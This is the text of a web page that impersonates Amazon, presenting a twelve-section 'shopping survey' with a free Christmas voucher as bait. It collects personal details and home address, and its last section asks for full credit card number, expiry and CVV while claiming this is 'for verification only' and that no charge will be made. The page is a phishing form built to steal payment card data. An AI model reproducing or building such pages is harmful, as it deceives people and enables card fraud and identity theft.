Amazon E-commerce Survey

Take one minute to help us improve your shopping experience

🎄 Complete survey & payment info to get a free shpping voucher Christmas Gift! 🎁
Share with friends and family,amazon wishes you happy merry x-mas
Section 1 of 12

👤 Personal Information 1/12

Please enter your full name
Please enter a valid email address
Please enter your phone number
Please select your age group

🛍️ Customer Experience: General Shopping 2/12

Very Dissatisfied Very Satisfied
Please select a rating
Please select an option
Very Slow Very Fast
Please select a rating
If yes, please describe in the open-ended section at the end
Please select an option
Very Unlikely Very Likely
Please select a rating

🔍 Search & Discovery 3/12

Not Relevant Very Relevant
Please select a rating
Please select an option
Please select an option
Very Dissatisfied Very Satisfied
Please select a rating

📦 Ordering & Checkout 4/12

Very Difficult Very Easy
Please select a rating
Please select an option
Very Dissatisfied Very Satisfied
Please select a rating
Please select an option
Please select an option

💳 Payment Methods 5/12

To help us improve our payment systems, please tell us about your preferred payment methods.

Please select at least one payment method
Very Dissatisfied Very Satisfied
Please select a rating
Very Difficult Very Easy
Please select a rating
Very Dissatisfied Very Satisfied
Please select a rating

🚚 Delivery Experience 6/12

Very Dissatisfied Very Satisfied
Please select a rating
Please select an option
Very Dissatisfied Very Satisfied
Please select a rating
Please select an option
Very Poor Excellent
Please select a rating

🛒 Product Feedback 7/12

Not Accurate Very Accurate
Please select a rating
Very Dissatisfied Very Satisfied
Please select a rating
Please select an option
Please select an option
Not Helpful Very Helpful
Please select a rating
Please select an option
Please select an option

📞 Customer Service 8/12

Very Dissatisfied Very Satisfied
Please select a rating
Please select an option
Not Helpful Very Helpful
Please select a rating
Please select an option
Very Unclear Very Clear
Please select a rating

🔐 Safety & Trust 9/12

Not Safe Very Safe
Please select a rating
Please select an option
Not Confident Very Confident
Please select a rating

Open-Ended Questions 10/12

Maximum 500 characters
Maximum 500 characters
Maximum 500 characters
Maximum 500 characters
Maximum 500 characters
Maximum 500 characters

🎁 Gift Delivery Information 11/12

Physical Gift Delivery
We'll ship your Christmas gift directly to your address. Free shipping included.
Store Pickup
Pick up your gift at your nearest Amazon Hub Locker or Whole Foods location.
Please select a delivery option
Maximum 200 characters
Please enter your street address
Please enter your city
Please enter your state/province
Please enter your ZIP/postal code
Please select your country

🏠 Billing Address 12/12

Please select an option
Your billing address must match the address associated with your payment method.

💳 Credit Card Information

Credit Card Payment

Secure payment information for verification purposes

No charges will be made - this is for verification only

Please enter a valid card number

Enter your 13-19 digit card number

Please enter the name on your card
Please select a valid expiry date
3 or 4 digit security code
Please enter a valid CVV
Your payment information is secured with 256-bit SSL encryption
Processing your payment information...

Thank You!

Your survey and payment information have been successfully submitted.

You have been entered into the Christmas voucher draw!

A confirmation email will be sent to your email address.